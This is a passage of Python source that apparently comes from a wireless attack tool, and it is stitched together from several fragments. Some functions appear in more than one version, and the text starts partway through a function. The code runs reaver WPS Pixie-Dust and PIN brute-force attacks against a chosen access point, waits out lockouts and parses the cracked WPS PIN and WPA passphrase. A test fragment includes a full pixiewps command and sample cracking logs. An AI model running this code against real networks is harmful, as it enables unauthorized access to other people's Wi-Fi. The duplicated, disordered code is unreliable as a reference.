elif result == "Timeout": self.consecutive_timeouts += 1 result = "{O}%s{W}" % result elif result == "NoAssoc": self.consecutive_noassoc += 1 result = "{O}%s{W}" % result else: result = "{R}%s{W}" % result pin = rx_m.group(3) self.state = "Trying PIN:{C}%s{W} (%s)" % (pin, result) # [!] WPS lockout reported, sleeping for 43 seconds ... lock_out = re.search( r".*WPS lockout reported, sleeping for (\d+) seconds", line) if lock_out: sleeping = lock_out.group(1) self.state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping self.consecutive_lockouts += 1 # [Pixie-Dust] WPS pin not found pixie_re = re.search(r".*\[Pixie-Dust\] WPS pin not found", line) if pixie_re: self.state = "{R}Failed{W}" # [+] Running pixiewps with the information, wait ... pixie_re = re.search(r".*Running pixiewps with the information", line) if pixie_re: self.state = "{G}Running pixiewps...{W}" # [*] Pin is '80246213', key is 'password' # [*] Pin is '11867722', key is '9a6f7997' pin_key_re = re.search(r"Pin is '(\d*)', key is '(.*)'", line) if pin_key_re: self.cracked_pin = pin_key_re.group(1) self.cracked_key = pin_key_re.group(2) # PIN : '80246213' pin_re = re.search(r"^\s*PIN\s*:\s*'(.*)'\s*$", line) if pin_re: self.cracked_pin = pin_re.group(1) # KEY : 'password' key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line) if key_re: self.cracked_key = key_re.group(1) #warn_re = re.search(r"\[\!\]\s*(.*)$", line) #if warn_re: self.state = "{O}%s{W}" % warn_re.group(1) if not self.crack_result and self.cracked_pin and self.cracked_key: Color.clear_entire_line() Color.pattack("WPS", self.target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}") Color.pl("") self.crack_result = CrackResultWPS(self.target.bssid, self.target.essid, self.cracked_pin, self.cracked_key) Color.pl("") self.crack_result.dump() return True else: return False
[*] Seed N1: - [*] Seed ES1: - [*] Seed ES2: - [*] PSK1: 2c2e33f5e3a870759f0aeebbd2792450 [*] PSK2: 3f4ca4ea81b2e8d233a4b80f9d09805d [*] ES1: 04d48dc20ec785762ce1a21a50bc46c2 [*] ES2: 04d48dc20ec785762ce1a21a50bc46c2 [+] WPS pin: 11867722 [*] Time taken: 0 s 21 ms executing pixiewps -e d0141b15656e96b85fcead2e8e76330d2b1ac1576bb026e7a328c0e1baf8cf91664371174c08ee12ec92b0519c54879f21255be5a8770e1fa1880470ef423c90e34d7847a6fcb4924563d1af1db0c481ead9852c519bf1dd429c163951cf69181b132aea2a3684caf35bc54aca1b20c88bb3b7339ff7d56e09139d77f0ac58079097938251dbbe75e86715cc6b7c0ca945fa8dd8d661beb73b414032798dadee32b5dd61bf105f18d89217760b75c5d966a5a490472ceba9e3b4224f3d89fb2b -s 5a67001334e3e4cb236f4e134a4d3b48d625a648e991f978d9aca879469d5da5 -z c8a2ccc5fb6dc4f4d69b245091022dc7e998e42ec1d548d57c35a312ff63ef20 -a 60b59c0c587c6c44007f7081c3372489febbe810a97483f5cc5cd8463c3920de -n 04d48dc20ec785762ce1a21a50bc46c2 -r 7a191e22a7b519f40d3af21b93a21d4f837718b45063a8a69ac6d16c6e5203477c18036ca01e9e56d0322e70c2e1baa66518f1b46d01acc577d1dfa34efd2e9ee36e2b7e68819cddacceb596a8895243e33cb48c570458a539dcb523a4d4c4360e158c29b882f7f385821ea043705eb56538b45daa445157c84e60fc94ef48136eb4e9725b134902b96c90b1ae54cbd42b29b52611903fdae5aa88bfc320f173d2bbe31df4996ebdb51342c6b8bd4e82ae5aa80b2a09a8bf8faa9a8332dc9819 ''' (pin, psk, ssid) = Reaver.get_pin_psk_ssid(old_stdout) assert pin == '12345678', 'pin was "%s", should have been "12345678"' % pin assert psk == 'Test PSK', 'psk was "%s", should have been "Test PSK"' % psk assert ssid == "Test Router", 'ssid was %s, should have been Test Router' % repr( ssid) result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk) result.dump() print "" (pin, psk, ssid) = Reaver.get_pin_psk_ssid(new_stdout) assert pin == '11867722', 'pin was "%s", should have been "11867722"' % pin assert psk == None, 'psk was "%s", should have been "None"' % psk assert ssid == "belkin.00e", 'ssid was "%s", should have been "belkin.00e"' % repr( ssid) result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk) result.dump()
def run_pixiedust_attack(self): # Write reaver stdout to file. self.stdout_file = Configuration.temp('reaver.out') if os.path.exists(self.stdout_file): os.remove(self.stdout_file) command = [ 'reaver', '-i', Configuration.interface, '-b', self.target.bssid, '-c', self.target.channel, '-K', '1', # pixie-dust attack '-a', # Automatically restart session '-vv' # (very) verbose ] stdout_write = open(self.stdout_file, 'a') reaver = Process(command, stdout=stdout_write, stderr=Process.devnull()) pin = None step = '0) initializing' time_since_last_step = 0 while True: time.sleep(1) Color.clear_line() Color.p('\r{+} {C}WPS pixie-dust attack{W} ') stdout_write.flush() # Check output from reaver process stdout = self.get_stdout() stdout_last_line = stdout.split('\n')[-1] (pin, psk, ssid) = self.get_pin_psk_ssid(stdout) # Check if we cracked it, or if process stopped. if (pin and psk and ssid) or reaver.poll() != None: reaver.interrupt() # Check one-last-time for PIN/PSK/SSID, in case of race condition. stdout = self.get_stdout() (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout) # Check if we cracked it. if pin and psk and ssid: # We cracked it. bssid = self.target.bssid Color.pl('\n\n{+} {G}successfully cracked WPS PIN and PSK{W}\n') self.crack_result = CrackResultWPS(bssid, ssid, pin, psk) self.crack_result.dump() return True else: # Failed to crack, reaver proces ended. Color.pl('{R}failed: {O}WPS pin not found{W}') return False last_step = step # Status updates, depending on last line of stdout if 'Waiting for beacon from' in stdout_last_line: step = '({C}step 1/8{W}) waiting for beacon' elif 'Associated with' in stdout_last_line: step = '({C}step 2/8{W}) waiting to start session' elif 'Starting Cracking Session.' in stdout_last_line: step = '({C}step 3/8{W}) waiting to try pin' elif 'Trying pin' in stdout_last_line: step = '({C}step 4/8{W}) trying pin' elif 'Sending EAPOL START request' in stdout_last_line: step = '({C}step 5/8{W}) sending eapol start request' elif 'Sending identity response' in stdout_last_line: step = '({C}step 6/8{W}) sending identity response' elif 'Sending M2 message' in stdout_last_line: step = '({C}step 7/8{W}) sending m2 message (may take a while)' elif 'Detected AP rate limiting,' in stdout_last_line: if Configuration.wps_skip_rate_limit: Color.pl('{R}failed: {O}hit WPS rate-limit{W}') Color.pl('{!} {O}use {R}--skip-rate-limit{O} to ignore' + ' this kind of failure in the future{W}') break step = '({C}step -/8{W}) waiting for AP rate limit' if 'WPS pin not found' in stdout: Color.pl('{R}failed: {O}WPS pin not found{W}') break if step != last_step: # Step changed, reset step timer time_since_last_step = 0 else: time_since_last_step += 1 if time_since_last_step > Configuration.wps_pixie_step_timeout: Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout) break # TODO: Timeout check if reaver.running_time() > Configuration.wps_pixie_timeout: Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout) break # Reaver Failure/Timeout check fail_count = stdout.count('WPS transaction failed') if fail_count > Configuration.wps_fail_threshold: Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count) break timeout_count = stdout.count('Receive timeout occurred') if timeout_count > Configuration.wps_timeout_threshold: Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count) break # Display status of Pixie-Dust attack Color.p('{W}%s{W}' % step) continue # Attack failed, already printed reason why reaver.interrupt() stdout_write.close() return False
def run_wps_pin_attack(self): # Write reaver stdout to file. self.stdout_file = Configuration.temp('reaver.out') if os.path.exists(self.stdout_file): os.remove(self.stdout_file) stdout_write = open(self.stdout_file, 'a') # Start reaver process command = [ 'reaver', '-i', Configuration.interface, '-b', self.target.bssid, '-c', self.target.channel, '-a', # Automatically restart session '-vv' # verbose ] reaver = Process(command, stdout=stdout_write, stderr=Process.devnull()) self.success = False pins = set() pin_current = 0 pin_total = 11000 failures = 0 state = 'initializing' while True: time.sleep(1) percent = 100 * float(pin_current) / float(pin_total) Color.clear_line() Color.p('\r{+} {C}WPS PIN attack{W} (') Color.p('{G}%.2f%% done{W}, ' % percent) Color.p('{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total)) Color.p('{R}%d/%d failures{W}) ' % (failures, \ Configuration.wps_fail_threshold)) if failures >= Configuration.wps_fail_threshold: Color.pl('{R}failed: {O}too many failures{W}') break # Get output out = self.get_stdout() # Clear output file f = open(self.stdout_file, 'w') f.write('') f.close() # CHECK FOR CRACK (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(out) if pin and psk and ssid: # We cracked it. self.success = True Color.pl('\n{+} {G}successly cracked WPS PIN and PSK{W}\n') self.crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk) self.crack_result.dump() break # PIN PROGRESS # Reaver 1.5.* match = None for match in re.finditer('Pin count advanced: (\d+)\\. Max pin attempts: (\d+)', out): # Look at last entry for "Pin count advanced" to get latest pin count pass if match: # Reset failures on successful try failures = 0 groups = match.groups() pin_current = int(groups[0]) pin_total = int(groups[1]) # Reaver 1.3, 1.4 match = None for match in re.finditer('Trying pin (\d+)', out): if match: pin = int(match.groups()[0]) if pin not in pins: # Reset failures on successful try failures = 0 pins.add(pin) pin_current += 1 # Failures if 'WPS transaction failed' in out: failures += out.count('WPS transaction failed') elif 'Receive timeout occurred' in out: # Reaver 1.4 failures += out.count('Receive timeout occurred') # Status if 'Waiting for beacon from' in out: state = '{O}waiting for beacon{W}' if 'Starting Cracking Session' in out: state = '{C}cracking{W}' # Reaver 1.4 if 'Trying pin' in out and 'cracking' not in state: state = '{C}cracking{W}' if 'Detected AP rate limiting' in out: state = '{R}rate-limited{W}' if Configuration.wps_skip_rate_limit: Color.pl(state) Color.pl('{!} {R}hit rate limit, stopping{W}\n') Color.pl('{!} {O}use {R}--skip-rate-limit{O} to ignore' + ' this kind of failure in the future{W}') break if 'WARNING: Failed to associate with' in out: # TODO: Fail after X association failures (instead of just one) Color.pl('\n{!} {R}failed to associate with target, {O}stopping{W}') break match = re.search('Estimated Remaining time: ([a-zA-Z0-9]+)', out) if match: eta = match.groups()[0] state = '{C}cracking, ETA: {G}%s{W}' % eta match = re.search('Max time remaining at this rate: ([a-zA-Z0-9:]+)..([0-9]+) pins left to try', out) if match: eta = match.groups()[0] state = '{C}cracking, ETA: {G}%s{W}' % eta pins_left = int(match.groups()[1]) # Divine pin_current & pin_total from this: pin_current = 11000 - pins_left # Check if process is still running if reaver.pid.poll() != None: Color.pl('{R}failed{W}') Color.pl('{!} {R}reaver{O} quit unexpectedly{W}') self.success = False break # Output the current state Color.p(state) ''' [+] Waiting for beacon from AA:BB:CC:DD:EE:FF [+] Associated with AA:BB:CC:DD:EE:FF (ESSID: <essid here>) [+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000 [+] Trying pin 12345670. [+] Pin count advanced: 46. Max pin attempts: 11000 [!] WPS transaction failed (code: 0x02), re-trying last pin [!] WPS transaction failed (code: 0x03), re-trying last pin [!] WARNING: Failed to associate with 00:24:7B:AB:5C:EE (ESSID: myqwest0445) [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking [!] WARNING: 25 successive start failures [!] WARNING: Failed to associate with B2:B2:DC:A1:35:94 (ESSID: CenturyLink2217) [+] 0.55% complete. Elapsed time: 0d0h2m21s. [+] Estimated Remaining time: 0d15h11m35s [+] Pin cracked in 7 seconds [+] WPS PIN: '12345678' [+] WPA PSK: 'abcdefgh' [+] AP SSID: 'Test Router' Reaver 1.4: [+] Max time remaining at this rate: 18:19:36 (10996 pins left to try) [!] WARNING: Receive timeout occurred ''' reaver.interrupt() return self.success
class AttackWPS(Attack): def __init__(self, target): super(AttackWPS, self).__init__(target) self.success = False self.crack_result = None def run(self): ''' Run all WPS-related attacks ''' # Drop out if user specified to not use Reaver if Configuration.no_reaver: self.success = False return self.success # Run Pixie-Dust attack if self.is_pixiedust_supported(): if self.run_pixiedust_attack(): # Pixie-Dust attack succeeded. We're done. self.success = True return self.success else: Color.pl( '{!} {R}your version of "reaver" does not' + ' support the {O}WPS pixie-dust attack{W}') if Configuration.pixie_only: Color.pl('{!} {O}--pixie{R} set, ignoring WPS-PIN attack{W}') self.success = False else: # Run WPS-PIN attack self.success = self.run_wps_pin_attack() return self.success def is_pixiedust_supported(self): ''' Checks if 'reaver' supports WPS Pixie-Dust attack ''' output = Process(['reaver', '-h']).stderr() return '--pixie-dust' in output def run_pixiedust_attack(self): # Write reaver stdout to file. self.stdout_file = Configuration.temp('reaver.out') if os.path.exists(self.stdout_file): os.remove(self.stdout_file) command = [ 'reaver', '-i', Configuration.interface, '-b', self.target.bssid, '-c', self.target.channel, '-K', '1', # pixie-dust attack '-a', # Automatically restart session '-vv' # (very) verbose ] stdout_write = open(self.stdout_file, 'a') reaver = Process(command, stdout=stdout_write, stderr=Process.devnull()) pin = None step = '0) initializing' time_since_last_step = 0 while True: time.sleep(1) Color.clear_line() Color.p('\r{+} {C}WPS pixie-dust attack{W} ') stdout_write.flush() # Check output from reaver process stdout = self.get_stdout() stdout_last_line = stdout.split('\n')[-1] (pin, psk, ssid) = self.get_pin_psk_ssid(stdout) # Check if we cracked it, or if process stopped. if (pin and psk and ssid) or reaver.poll() != None: reaver.interrupt() # Check one-last-time for PIN/PSK/SSID, in case of race condition. stdout = self.get_stdout() (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout) # Check if we cracked it. if pin and psk and ssid: # We cracked it. bssid = self.target.bssid Color.pl('\n\n{+} {G}successfully cracked WPS PIN and PSK{W}\n') self.crack_result = CrackResultWPS(bssid, ssid, pin, psk) self.crack_result.dump() return True else: # Failed to crack, reaver proces ended. Color.pl('{R}failed: {O}WPS pin not found{W}') return False last_step = step # Status updates, depending on last line of stdout if 'Waiting for beacon from' in stdout_last_line: step = '({C}step 1/8{W}) waiting for beacon' elif 'Associated with' in stdout_last_line: step = '({C}step 2/8{W}) waiting to start session' elif 'Starting Cracking Session.' in stdout_last_line: step = '({C}step 3/8{W}) waiting to try pin' elif 'Trying pin' in stdout_last_line: step = '({C}step 4/8{W}) trying pin' elif 'Sending EAPOL START request' in stdout_last_line: step = '({C}step 5/8{W}) sending eapol start request' elif 'Sending identity response' in stdout_last_line: step = '({C}step 6/8{W}) sending identity response' elif 'Sending M2 message' in stdout_last_line: step = '({C}step 7/8{W}) sending m2 message (may take a while)' elif 'Detected AP rate limiting,' in stdout_last_line: if Configuration.wps_skip_rate_limit: Color.pl('{R}failed: {O}hit WPS rate-limit{W}') Color.pl('{!} {O}use {R}--skip-rate-limit{O} to ignore' + ' this kind of failure in the future{W}') break step = '({C}step -/8{W}) waiting for AP rate limit' if 'WPS pin not found' in stdout: Color.pl('{R}failed: {O}WPS pin not found{W}') break if step != last_step: # Step changed, reset step timer time_since_last_step = 0 else: time_since_last_step += 1 if time_since_last_step > Configuration.wps_pixie_step_timeout: Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout) break # TODO: Timeout check if reaver.running_time() > Configuration.wps_pixie_timeout: Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout) break # Reaver Failure/Timeout check fail_count = stdout.count('WPS transaction failed') if fail_count > Configuration.wps_fail_threshold: Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count) break timeout_count = stdout.count('Receive timeout occurred') if timeout_count > Configuration.wps_timeout_threshold: Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count) break # Display status of Pixie-Dust attack Color.p('{W}%s{W}' % step) continue # Attack failed, already printed reason why reaver.interrupt() stdout_write.close() return False def run_wps_pin_attack(self): # Write reaver stdout to file. self.stdout_file = Configuration.temp('reaver.out') if os.path.exists(self.stdout_file): os.remove(self.stdout_file) stdout_write = open(self.stdout_file, 'a') # Start reaver process command = [ 'reaver', '-i', Configuration.interface, '-b', self.target.bssid, '-c', self.target.channel, '-a', # Automatically restart session '-vv' # verbose ] reaver = Process(command, stdout=stdout_write, stderr=Process.devnull()) self.success = False pins = set() pin_current = 0 pin_total = 11000 failures = 0 state = 'initializing' while True: time.sleep(1) percent = 100 * float(pin_current) / float(pin_total) Color.clear_line() Color.p('\r{+} {C}WPS PIN attack{W} (') Color.p('{G}%.2f%% done{W}, ' % percent) Color.p('{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total)) Color.p('{R}%d/%d failures{W}) ' % (failures, \ Configuration.wps_fail_threshold)) if failures >= Configuration.wps_fail_threshold: Color.pl('{R}failed: {O}too many failures{W}') break # Get output out = self.get_stdout() # Clear output file f = open(self.stdout_file, 'w') f.write('') f.close() # CHECK FOR CRACK (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(out) if pin and psk and ssid: # We cracked it. self.success = True Color.pl('\n{+} {G}successly cracked WPS PIN and PSK{W}\n') self.crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk) self.crack_result.dump() break # PIN PROGRESS # Reaver 1.5.* match = None for match in re.finditer('Pin count advanced: (\d+)\\. Max pin attempts: (\d+)', out): # Look at last entry for "Pin count advanced" to get latest pin count pass if match: # Reset failures on successful try failures = 0 groups = match.groups() pin_current = int(groups[0]) pin_total = int(groups[1]) # Reaver 1.3, 1.4 match = None for match in re.finditer('Trying pin (\d+)', out): if match: pin = int(match.groups()[0]) if pin not in pins: # Reset failures on successful try failures = 0 pins.add(pin) pin_current += 1 # Failures if 'WPS transaction failed' in out: failures += out.count('WPS transaction failed') elif 'Receive timeout occurred' in out: # Reaver 1.4 failures += out.count('Receive timeout occurred') # Status if 'Waiting for beacon from' in out: state = '{O}waiting for beacon{W}' if 'Starting Cracking Session' in out: state = '{C}cracking{W}' # Reaver 1.4 if 'Trying pin' in out and 'cracking' not in state: state = '{C}cracking{W}' if 'Detected AP rate limiting' in out: state = '{R}rate-limited{W}' if Configuration.wps_skip_rate_limit: Color.pl(state) Color.pl('{!} {R}hit rate limit, stopping{W}\n') Color.pl('{!} {O}use {R}--skip-rate-limit{O} to ignore' + ' this kind of failure in the future{W}') break if 'WARNING: Failed to associate with' in out: # TODO: Fail after X association failures (instead of just one) Color.pl('\n{!} {R}failed to associate with target, {O}stopping{W}') break match = re.search('Estimated Remaining time: ([a-zA-Z0-9]+)', out) if match: eta = match.groups()[0] state = '{C}cracking, ETA: {G}%s{W}' % eta match = re.search('Max time remaining at this rate: ([a-zA-Z0-9:]+)..([0-9]+) pins left to try', out) if match: eta = match.groups()[0] state = '{C}cracking, ETA: {G}%s{W}' % eta pins_left = int(match.groups()[1]) # Divine pin_current & pin_total from this: pin_current = 11000 - pins_left # Check if process is still running if reaver.pid.poll() != None: Color.pl('{R}failed{W}') Color.pl('{!} {R}reaver{O} quit unexpectedly{W}') self.success = False break # Output the current state Color.p(state) ''' [+] Waiting for beacon from AA:BB:CC:DD:EE:FF [+] Associated with AA:BB:CC:DD:EE:FF (ESSID: <essid here>) [+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000 [+] Trying pin 12345670. [+] Pin count advanced: 46. Max pin attempts: 11000 [!] WPS transaction failed (code: 0x02), re-trying last pin [!] WPS transaction failed (code: 0x03), re-trying last pin [!] WARNING: Failed to associate with 00:24:7B:AB:5C:EE (ESSID: myqwest0445) [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking [!] WARNING: 25 successive start failures [!] WARNING: Failed to associate with B2:B2:DC:A1:35:94 (ESSID: CenturyLink2217) [+] 0.55% complete. Elapsed time: 0d0h2m21s. [+] Estimated Remaining time: 0d15h11m35s [+] Pin cracked in 7 seconds [+] WPS PIN: '12345678' [+] WPA PSK: 'abcdefgh' [+] AP SSID: 'Test Router' Reaver 1.4: [+] Max time remaining at this rate: 18:19:36 (10996 pins left to try) [!] WARNING: Receive timeout occurred ''' reaver.interrupt() return self.success @staticmethod def get_pin_psk_ssid(stdout): ''' Parses WPS PIN, PSK, and SSID from output ''' pin = psk = ssid = None # Check for PIN. # PIN: Printed *before* the attack completes. regex = re.search('WPS pin: *([0-9]*)', stdout) if regex: pin = regex.groups()[0] # PIN: Printed when attack is completed. regex = re.search("WPS PIN: *'([0-9]+)'", stdout) if regex: pin = regex.groups()[0] # Check for PSK. regex = re.search("WPA PSK: *'(.+)'", stdout) if regex: psk = regex.groups()[0] # Check for SSID regex = re.search("AP SSID: *'(.+)'", stdout) if regex: ssid = regex.groups()[0] return (pin, psk, ssid) def get_stdout(self): ''' Gets output from stdout_file ''' if not self.stdout_file: return '' f = open(self.stdout_file, 'r') stdout = f.read() f.close() return stdout.strip()
def run_pixiedust_attack(self): # Write reaver stdout to file. self.stdout_file = Configuration.temp('reaver.out') if os.path.exists(self.stdout_file): os.remove(self.stdout_file) command = [ 'reaver', '-i', Configuration.interface, '-b', self.target.bssid, '-c', self.target.channel, '-K', '1', # pixie-dust attack '-a', # Automatically restart session '-vv' # (very) verbose ] stdout_write = open(self.stdout_file, 'a') reaver = Process(command, stdout=stdout_write, stderr=Process.devnull()) pin = None step = '0) initializing' while True: time.sleep(1) Color.clear_line() Color.p('\r{+} {C}WPS pixie-dust attack{W} ') stdout_write.flush() # Check output from reaver process stdout = self.get_stdout() stdout_last_line = stdout.split('\n')[-1] (pin, psk, ssid) = self.get_pin_psk_ssid(stdout) # Check if we cracked it, or if process stopped. if (pin and psk and ssid) or reaver.poll() != None: reaver.interrupt() # Check one-last-time for PIN/PSK/SSID, in case of race condition. stdout = self.get_stdout() (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout) # Check if we cracked it. if pin and psk and ssid: # We cracked it. bssid = self.target.bssid Color.pl( '\n\n{+} {G}successfully cracked WPS PIN and PSK{W}\n') self.crack_result = CrackResultWPS(bssid, ssid, pin, psk) self.crack_result.dump() return True else: # Failed to crack, reaver proces ended. Color.pl('{R}failed: {O}WPS pin not found{W}') return False # Status updates, depending on last line of stdout if 'Waiting for beacon from' in stdout_last_line: step = '({C}step 1/8{W}) waiting for beacon' elif 'Associated with' in stdout_last_line: step = '({C}step 2/8{W}) waiting to start session' elif 'Starting Cracking Session.' in stdout_last_line: step = '({C}step 3/8{W}) waiting to try pin' elif 'Trying pin' in stdout_last_line: step = '({C}step 4/8{W}) trying pin' elif 'Sending EAPOL START request' in stdout_last_line: step = '({C}step 5/8{W}) sending eapol start request' elif 'Sending identity response' in stdout_last_line: step = '({C}step 6/8{W}) sending identity response' elif 'Sending M2 message' in stdout_last_line: step = '({C}step 7/8{W}) sending m2 message (may take a while)' elif 'Detected AP rate limiting,' in stdout_last_line: if Configuration.wps_skip_rate_limit: Color.pl('{R}failed: {O}hit WPS rate-limit{W}') # TODO: Argument for --ignore-rate-limit ''' Color.pl('{!} {O}use {R}--ignore-rate-limit{O} to ignore' + ' this kind of failure in the future') ''' break step = '({C}step -/8{W}) waiting for AP rate limit' if 'WPS pin not found' in stdout: Color.pl('{R}failed: {O}WPS pin not found{W}') break # TODO: Timeout check if reaver.running_time() > Configuration.wps_pixie_timeout: Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_timeout) break # Reaver Failure/Timeout check fail_count = stdout.count('WPS transaction failed') if fail_count > Configuration.wps_fail_threshold: Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count) break timeout_count = stdout.count('Receive timeout occurred') if timeout_count > Configuration.wps_timeout_threshold: Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count) break # Display status of Pixie-Dust attack Color.p('{W}%s{W}' % step) continue # Attack failed, already printed reason why reaver.interrupt() stdout_write.close() return False